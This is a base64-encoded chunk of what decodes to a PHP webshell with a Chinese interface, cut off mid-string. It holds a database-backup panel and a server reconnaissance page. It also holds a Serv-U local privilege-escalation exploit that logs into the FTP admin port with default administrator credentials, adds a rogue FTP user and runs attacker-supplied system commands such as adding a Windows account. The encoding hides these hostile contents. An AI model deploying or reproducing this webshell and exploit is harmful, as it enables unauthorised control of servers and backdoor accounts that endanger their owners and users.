cyc9PjEpKS4nPC90ZD48L3RyPjx0ciBub3dyYXA+PHRkPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iYmFja3VwdHlwZSIgdmFsdWU9InNlcnZlciIgY2hlY2tlZD4gsbi33cr9vt3L+bGjtOa1xMK3vrY6PC90ZD48dGQ+Jy4kdGItPm1ha2VpbnB1dCgncGF0aCcsJHBhdGhuYW1lLicvJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19NeVNRTC5zcWwnLCcnLCd0ZXh0JywnNTAnKS4nPC90ZD48L3RyPjx0ciBub3dyYXA+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0iYmFja3VwdHlwZSIgdmFsdWU9ImRvd25sb2FkIj4g1rG908/C1Ni1vbG+tdggKMrKus/K/b7dwb+9z9ChtcTK/b7dv+IpPC90ZD48L3RyPjwvdGFibGU+Jyk7DQoJCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdiYWNrdXBteXNxbCcpOw0KCQkkdGItPmZvcm1mb290ZXIoJzAnLCczMCcpOw0KCX0NCgkkdGItPnRhYmxlZm9vdGVyKCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicGhwZW52Iikgew0KCSR1c2VyID0gIiA8YSBocmVmPVwiP2FjdGlvbj1ub3d1c2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCI+0tTD4mNydXNoteO0y7vxyKG1scewvfizzNPDu6fD+zwvYT4gIjsNCgkkdXBzaXplPWdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7DQoJJGFkbWlubWFpbD0oaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSkgPyAiPGEgaHJlZj1cIm1haWx0bzoiLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iXCI+Ii4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uIjwvYT4iIDogIjxhIGhyZWY9XCJtYWlsdG86Ii5nZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpLiJcIj4iLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIjwvYT4iOw0KCWlmICgkZGlzX2Z1bmMgPT0gIiIpIHsNCgkJJGRpc19mdW5jID0gIk5vIjsNCgl9ZWxzZSB7DQoJCSRkaXNfZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiPGJyPiIsJGRpc19mdW5jKTsNCgkJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCI8YnI+IiwkZGlzX2Z1bmMpOw0KCX0NCgkkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/ICJZZXMiIDogIk5vIjsNCgkJJGluZm8gPSBhcnJheSgNCgkJICAgIDAgPT4gYXJyYXkoIrWxx7BwaHC9+LPM08O7pyIsJHVzZXIpLA0KCQkJMSA9PiBhcnJheSgit/7O8cb3stnX98+1zbMiLFBIUF9PUyksDQoJCQkyID0+IGFycmF5KCK3/s7xxvfKsbzkIixkYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkpLA0KCQkJMyA9PiBhcnJheSgit/7O8cb30/LD+yIsIjxhIGhyZWY9XCJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+Ii4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iPC9hPiIpLA0KCQkJNCA9PiBhcnJheSgit/7O8cb3SVC12Na3IixnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoJCQk1ID0+IGFycmF5KCK3/s7xxvey2df3z7XNs87E19ax4MLrIiwkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCQk2ID0+IGFycmF5KCK3/s7xxve94tLr0v3H5iIsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJCTcgPT4gYXJyYXkoIldlYrf+zvG2y7/aIiwkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCQk4ID0+IGFycmF5KCJQSFDUy9DQt73KvSIsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJCTkgPT4gYXJyYXkoIlBIULDmsb4iLFBIUF9WRVJTSU9OKSwNCgkJCTEwID0+IGFycmF5KCLUy9DQ09qwssirxKPKvSIsZ2V0cGhwY2ZnKCJzYWZlbW9kZSIpKSwNCgkJCTExID0+IGFycmF5KCK3/s7xxve53MDt1LEiLCRhZG1pbm1haWwpLA0KCQkJMTIgPT4gYXJyYXkoIrG+zsS8/sK3vrYiLF9fRklMRV9fKSwNCiAgICAgICAgICAgIDEzID0+IGFycmF5KCLUytDtyrnTwyBVUkwgtPK/qs7EvP4gYWxsb3dfdXJsX2ZvcGVuIixnZXRwaHBjZmcoImFsbG93X3VybF9mb3BlbiIpKSwNCgkJCTE0ID0+IGFycmF5KCLUytDttq/MrLzT1NjBtL3Tv+IgZW5hYmxlX2RsIixnZXRwaHBjZmcoImVuYWJsZV9kbCIpKSwNCgkJCTE1ID0+IGFycmF5KCLP1Mq+tO3O89DFz6IgZGlzcGxheV9lcnJvcnMiLGdldHBocGNmZygiZGlzcGxheV9lcnJvcnMiKSksDQoJCQkxNiA9PiBhcnJheSgi19S2r7ao0uXIq77WseTBvyByZWdpc3Rlcl9nbG9iYWxzIixnZXRwaHBjZmcoInJlZ2lzdGVyX2dsb2JhbHMiKSksDQoJCQkxNyA9PiBhcnJheSgibWFnaWNfcXVvdGVzX2dwYyIsZ2V0cGhwY2ZnKCJtYWdpY19xdW90ZXNfZ3BjIikpLA0KCQkJMTggPT4gYXJyYXkoIrPM0PLX7rbg1MrQ7cq508PE2rTmwb8gbWVtb3J5X2xpbWl0IixnZXRwaHBjZmcoIm1lbW9yeV9saW1pdCIpKSwNCgkJCTE5ID0+IGFycmF5KCJQT1NU1+6089fWvdrK/SBwb3N0X21heF9zaXplIixnZXRwaHBjZmcoInBvc3RfbWF4X3NpemUiKSksDQoJCQkyMCA9PiBhcnJheSgi1MrQ7dfutPPJz7SrzsS8/iB1cGxvYWRfbWF4X2ZpbGVzaXplIiwkdXBzaXplKSwNCgkJCTIxID0+IGFycmF5KCKzzNDy1+6zpNTL0NDKsbzkIG1heF9leGVjdXRpb25fdGltZSIsZ2V0cGhwY2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4iw+siKSwNCgkJCTIyID0+IGFycmF5KCKxu73708O1xLqvyv0gZGlzYWJsZV9mdW5jdGlvbnMiLCRkaXNfZnVuYyksDQoJCQkyMyA9PiBhcnJheSgicGhwaW5mbygpIiwkcGhwaW5mbyksDQoJCQkyNCA9PiBhcnJheSgixL/HsLu509C/1dPgv9W85GRpc2tmcmVlc3BhY2UiLGludHZhbChkaXNrZnJlZXNwYWNlKCIuIikgLyAoMTAyNCAqIDEwMjQpKS4nTWInKSwNCiAgICAgICAgICAgIDI1ID0+IGFycmF5KCLNvNDOtKbA7SBHRCBMaWJyYXJ5IixnZXRmdW4oImltYWdlbGluZSIpKSwNCgkJCTI2ID0+IGFycmF5KCJJTUFQtefX09PKvP7Ptc2zIixnZXRmdW4oImltYXBfY2xvc2UiKSksDQoJCQkyNyA9PiBhcnJheSgiTXlTUUzK/b7dv+IiLGdldGZ1bigibXlzcWxfY2xvc2UiKSksDQoJCQkyOCA9PiBhcnJheSgiU3lCYXNlyv2+3b/iIixnZXRmdW4oInN5YmFzZV9jbG9zZSIpKSwNCgkJCTI5ID0+IGFycmF5KCJPcmFjbGXK/b7dv+IiLGdldGZ1bigib3JhX2Nsb3NlIikpLA0KCQkJMzAgPT4gYXJyYXkoIk9yYWNsZSA4IMr9vt2/4iIsZ2V0ZnVuKCJPQ0lMb2dPZmYiKSksDQoJCQkzMSA9PiBhcnJheSgiUFJFTM/gyN3T77eoIFBDUkUiLGdldGZ1bigicHJlZ19tYXRjaCIpKSwNCgkJCTMyID0+IGFycmF5KCJQREbOxLW11qez1iIsZ2V0ZnVuKCJwZGZfY2xvc2UiKSksDQoJCQkzMyA9PiBhcnJheSgiUG9zdGdyZSBTUUzK/b7dv+IiLGdldGZ1bigicGdfY2xvc2UiKSksDQoJCQkzNCA9PiBhcnJheSgiU05NUM34wue53MDt0K3S6SIsZ2V0ZnVuKCJzbm1wZ2V0IikpLA0KCQkJMzUgPT4gYXJyYXkoItG5y/XOxLz+1qez1ihabGliKSIsZ2V0ZnVuKCJnemNsb3NlIikpLA0KCQkJMzYgPT4gYXJyYXkoIlhNTL3izvYiLGdldGZ1bigieG1sX3NldF9vYmplY3QiKSksDQoJCQkzNyA9PiBhcnJheSgiRlRQIixnZXRmdW4oImZ0cF9sb2dpbiIpKSwNCgkJCTM4ID0+IGFycmF5KCJPREJDyv2+3b/iway90yIsZ2V0ZnVuKCJvZGJjX2Nsb3NlIikpLA0KCQkJMzkgPT4gYXJyYXkoIlNlc3Npb27Wp7PWIixnZXRmdW4oInNlc3Npb25fc3RhcnQiKSksDQoJCQk0MCA9PiBhcnJheSgiU29ja2V01qez1iIsZ2V0ZnVuKCJmc29ja29wZW4iKSksDQoJCSk7IA0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgllY2hvICI8Zm9ybSBhY3Rpb249XCI/YWN0aW9uPXBocGVudlwiIG1ldGhvZD1cIlBPU1RcIj5cbiI7DQoJJHRiLT50ZGJvZHkoJzxiPrLpv7RQSFDF5NbDss7K/de0v/Y8L2I+JywnbGVmdCcsJzEnLCczMCcsJ3N0eWxlPSJwYWRkaW5nLWxlZnQ6IDVweDsiJyk7DQoJJHRiLT50ZGJvZHkoJ8fryuTI68Xk1sOyzsr9KMjnOm1hZ2ljX3F1b3Rlc19ncGMpOiAnLiR0Yi0+bWFrZWlucHV0KCdwaHB2YXJuYW1lJywnJywnJywndGV4dCcsJzQwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCey6b+0JywnJywnc3VibWl0JyksJ2xlZnQnLCcyJywnMzAnLCdzdHlsZT0icGFkZGluZy1sZWZ0OiA1cHg7IicpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCd2aWV3cGhwdmFyJyk7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgkkaHAgPSBhcnJheSgwPT4gJ7f+zvHG98zY0NQnLCAxPT4gJ1BIULv5sb7M2NDUJywgMj0+ICfX6bz+1qez1te0v/YnKTsNCglmb3IgKCRhPTA7JGE8MzskYSsrKSB7DQoJCSR0Yi0+dGRib2R5KCc8Yj4nLiRocFsxXS4nPC9iPicsJ2xlZnQnLCcxJywnMzAnLCdzdHlsZT0icGFkZGluZy1sZWZ0OiA1cHg7IicpOw0KPz4NCiAgPHRyIGNsYXNzPSJzZWNvbmRhbHQiPg0KICAgIDx0ZD4NCiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KPD9waHANCgkJaWYgKCRhPT0wKSB7DQoJCQlmb3IoJGk9MDskaTw9MTI7JGkrKykgew0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9NDAlIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+Ii4kaW5mb1skaV1bMF0uIjwvdGQ+PHRkPiIuJGluZm9bJGldWzFdLiI8L3RkPjwvdHI+XG4iOw0KCQkJfQ0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KCQkJZm9yICgkaT0xMzskaTw9MjQ7JGkrKykgew0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9NDAlIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+Ii4kaW5mb1skaV1bMF0uIjwvdGQ+PHRkPiIuJGluZm9bJGldWzFdLiI8L3RkPjwvdHI+XG4iOw0KCQkJfQ0KCQl9IGVsc2VpZiAoJGEgPT0gMikgew0KCQkJZm9yICgkaT0yNTskaTw9NDA7JGkrKykgew0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9NDAlIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+Ii4kaW5mb1skaV1bMF0uIjwvdGQ+PHRkPiIuJGluZm9bJGldWzFdLiI8L3RkPjwvdHI+XG4iOw0KCQkJfQ0KCQl9DQo/Pg0KICAgICAgPC90YWJsZT4NCiAgICA8L3RkPg0KICA8L3RyPg0KPD9waHANCgl9Ly9mb3INCmVjaG8gIjwvdGFibGU+IjsNCn0vL2VuZCBwaHBlbnYNCmVsc2VpZigkX0dFVFsnYWN0aW9uJ10gPT0gIlNVRXhwIikNCnsNCiAgICBpZigkX1BPU1RbJ1NVUG9ydCddICE9ICIiICYmICRfUE9TVFsnU1VVc2VyJ10gIT0gIiIgJiYgJF9QT1NUWydTVVBhc3MnXSAhPSAiIiAmJiAkX1BPU1RbJ1NVQ29tbWFuZCddKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiNzYwXCIgYm9yZGVyPVwiMFwiIGNlbGxwYWRkaW5nPVwiM1wiIGNlbGxzcGFjaW5nPVwiMVwiIGJnY29sb3I9XCIjZmZmZmZmXCI+PHRyIGNsYXNzPVwiZmlyc3RhbHRcIj48dGQgYWxpZ249XCJsZWZ0XCI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAiIjsNCiAgICAgICAgJHJlY3ZidWYgPSAiIjsNCiAgICAgICAgJGRvbWFpbiAgPSAiLVNFVERPTUFJTlxyXG4iLg0KICAgICAgICAgICAgICAgICItRG9tYWluPWhheG9yY2l0b3N8MC4wLjAuMHwyMTIxfC0xfDF8MFxyXG4iLg0KICAgICAgICAgICAgICAgICItVFpPRW5hYmxlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiIFRaT0tleT1cclxuIjsNCiAgICAgICAgJGFkZHVzZXIgPSAiLVNFVFVTRVJTRVRVUFxyXG4iLg0KICAgICAgICAgICAgICAgICItSVA9MC4wLjAuMFxyXG4iLg0KICAgICAgICAgICAgICAgICItUG9ydE5vPTIxMjFcclxuIi4NCiAgICAgICAgICAgICAgICAiLVVzZXI9V2lsbF9CZVxyXG4iLg0KICAgICAgICAgICAgICAgICItUGFzc3dvcmQ9V2lsbF9CZVxyXG4iLg0KICAgICAgICAgICAgICAgICItSG9tZURpcj1jOlxcXHJcbiIuDQogICAgICAgICAgICAgICAgIi1Mb2dpbk1lc0ZpbGU9XHJcbiIuDQogICAgICAgICAgICAgICAgIi1EaXNhYmxlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJlbFBhdGhzPTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLU5lZWRTZWN1cmU9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItSGlkZUhpZGRlbj0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1BbHdheXNBbGxvd0xvZ2luPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLUNoYW5nZVBhc3N3b3JkPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVF1b3RhRW5hYmxlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLU1heFVzZXJzTG9naW5QZXJJUD0tMVxyXG4iLg0KICAgICAgICAgICAgICAgICItU3BlZWRMaW1pdFVwPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVNwZWVkTGltaXREb3duPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLU1heE5yVXNlcnM9LTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLUlkbGVUaW1lT3V0PTYwMFxyXG4iLg0KICAgICAgICAgICAgICAgICItU2Vzc2lvblRpbWVPdXQ9LTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLUV4cGlyZT0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1SYXRpb1VwPTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJhdGlvRG93bj0xXHJcbiIuDQogICAgICAgICAgICAgICAgIi1SYXRpb3NDcmVkaXQ9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItUXVvdGFDdXJyZW50PTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVF1b3RhTWF4aW11bT0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1NYWludGVuYW5jZT1Ob25lXHJcbiIuDQogICAgICAgICAgICAgICAgIi1QYXNzd29yZFR5cGU9UmVndWxhclxyXG4iLg0KICAgICAgICAgICAgICAgICItUmF0aW9zPU5vbmVcclxuIi4NCiAgICAgICAgICAgICAgICAiIEFjY2Vzcz1jOlxcfFJFTFBcclxuIjsNCiAgICAgICAgJGRlbGRvbWFpbj0iLURFTEVURURPTUFJTlxyXG4iLg0KICAgICAgICAgICAgICAgICAgICAgIi1JUD0wLjAuMC4wXHJcbiIuDQogICAgICAgICAgICAgICAgICAgICAiIFBvcnRObz0yMTIxXHJcbiI7DQogICAgICAgICRzb2NrID0gZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCAmJGVycm5vLCAmJGVycnN0ciwgMTApOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRzb2NrLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICJVU0VSICIuJF9QT1NUWyJTVVVzZXIiXS4iXHJcbiI7DQogICAgICAgIGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gIlBBU1MgIi4kX1BPU1RbIlNVUGFzcyJdLiJcclxuIjsNCiAgICAgICAgZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkc29jaywgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAiU0lURSBNQUlOVEVOQU5DRVxyXG4iOw0KICAgICAgICBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRzb2NrLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICRkb21haW47DQogICAgICAgIGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gJGFkZHVzZXI7DQogICAgICAgIGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgIGVjaG8gIioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IjsNCiAgICAgICAgZWNobyAiU3RhcnRpbmcgRXhwbG9pdCAuLi48YnI+IjsNCiAgICAgICAgZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjxicj4iOw0KICAgICAgICAkZXhwID0gZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAiMjEyMSIsICYkZXJybm8sICYkZXJyc3RyLCAxMCk7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJGV4cCwgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAiVVNFUiBXaWxsX0JlXHJcbiI7DQogICAgICAgIGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkZXhwLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICJQQVNTIFdpbGxfQmVcclxuIjsNCiAgICAgICAgZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRleHAsIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gInNpdGUgZXhlYyAiLiRfUE9TVFsiU1VDb21tYW5kIl0uIlxyXG4iOw0KICAgICAgICBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogc2l0ZSBleGVjPC9mb250PiA8Zm9udCBjb2xvcj1ncmVlbj4iLiRfUE9TVFsiU1VDb21tYW5kIl0uIjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkZXhwLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICBlY2hvICIqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqPGJyPiI7DQogICAgICAgIGVjaG8gIlN0YXJ0aW5nIERlbGV0ZSBEb21haW4gLi4uPGJyPiI7DQogICAgICAgIGVjaG8gIioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAkZGVsZG9tYWluOw0KICAgICAgICBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRzb2NrLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICBmY2xvc2UoJHNvY2spOw0KICAgICAgICBmY2xvc2UoJGV4cCk7DQogICAgfQ0KPz4NCjx0YWJsZSB3aWR0aD0iNzYwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYmdjb2xvcj0iI2ZmZmZmZiI+DQogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIj7NqLn9U2Vydi1VILG+tdi53MDt1LHVyrrF1rTQ0MP8we48L3RkPg0KICA8L3RyPg0KICA8Zm9ybSBhY3Rpb249Ij9hY3Rpb249U1VFeHAiIG1ldGhvZD0iUE9TVCI+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCiAgICA8dGQgYWxpZ249ImNlbnRlciI+TG9jYWxQb3J0Og0KICAgICAgPGlucHV0IG5hbWU9IlNVUG9ydCIgdHlwZT0idGV4dCIgY2xhc3M9IklOUFVUIiBpZD0iU1VQb3J0IiB2YWx1ZT0iNDM5NTgiIHNpemU9IjciPiAgICAgIKGhDQogICAgICBMb2NhbFVzZXI6DQogICAgICA8aW5wdXQgbmFtZT0iU1VVc2VyIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iSU5QVVQiIGlkPSJTVVVzZXIiIHZhbHVlPSJMb2NhbEFkbWluaXN0cmF0b3IiPiAgICAgICChoUxvY2FsUGFzczoNCiAgICAgIDxpbnB1dCBuYW1lPSJTVVBhc3MiIHR5cGU9InRleHQiIGNsYXNzPSJJTlBVVCIgaWQ9IlNVUGFzcyIgdmFsdWU9IiNsQCRhayMubGs7MEBQIj4NCiAgICAgIDxicj4NCiAgICAgIENvbW1hbmShoToNCiAgICAgIDxpbnB1dCBuYW1lPSJTVUNvbW1hbmQiIHR5cGU9InRleHQiIGNsYXNzPSJJTlBVVCIgaWQ9IlNVQ29tbWFuZCIgdmFsdWU9Im5ldCB1c2VyIFdpbGxfQmUgaGVpaGVpIC9hZGQiIHNpemU9IjUwIj48L3RkPg0KICA8L3RyPg0KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJTdWJtaXQiIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0IiBpZD0iU3VibWl0IiB2YWx1ZT0i1rTQ0CI+oaENCiAgICAgIDxpbnB1dCBuYW1lPSJTdWJtaXQiIHR5cGU9InJlc2V0IiBjbGFzcz0iSU5QVVQiIHZhbHVlPSLW2NbDIj48L3RkPg0KICA8L3RyPiAgDQogIDwvZm9ybT4NCjwvdGFibGU+DQo8P3BocA0KfQ0KPz4NCjxociB3aWR0aD0iNzc1IiBub3NoYWRlPg0KPHRhYmxlIHdpZHRoPSI3NzUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KICA8dHI+DQogICAgPHRkPsnxw9hQSFC0+MX6wb+50sLts6y8trDmLjwvdGQ+DQogICAgPHRkIGFsaWduPSJyaWdodCI+PD9waHANCglkZWJ1Z2luZm8oKTsNCglvYl9lbmRfZmx1c2goKTsJDQoJPz48L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0KDQo8P3BocA0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kuq/K/b/iDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLw0KDQoJLy8gtcfCvcjrv9oNCglmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQo/Pg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmlucHV0IHtmb250LWZhbWlseTogIlZlcmRhbmEiO2ZvbnQtc2l6ZTogIjExcHgiO0JBQ0tHUk9VTkQtQ09MT1I6ICIjRkZGRkZGIjtoZWlnaHQ6ICIxOHB4Ijtib3JkZXI6ICIxcHggc29saWQgIzY2NjY2NiI7fQ0KPC9zdHlsZT4NCjx0YWJsZSB3aWR0aD0iNDE2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCiAgPHRyPiANCiAgICA8dGQgaGVpZ2h0PSI3NSIgYWxpZ249ImNlbnRlciI+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNXB4OyBmb250LWZhbWlseTogVmVyZGFuYTsgY29sb3I6ZmUwMDAwICI+yfHD2LOsvLa0+CjF+sG/udLC7SlQSFDEvsLtPGJyPjxicj48YnI+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMXB4OyBmb250LWZhbWlseTogVmV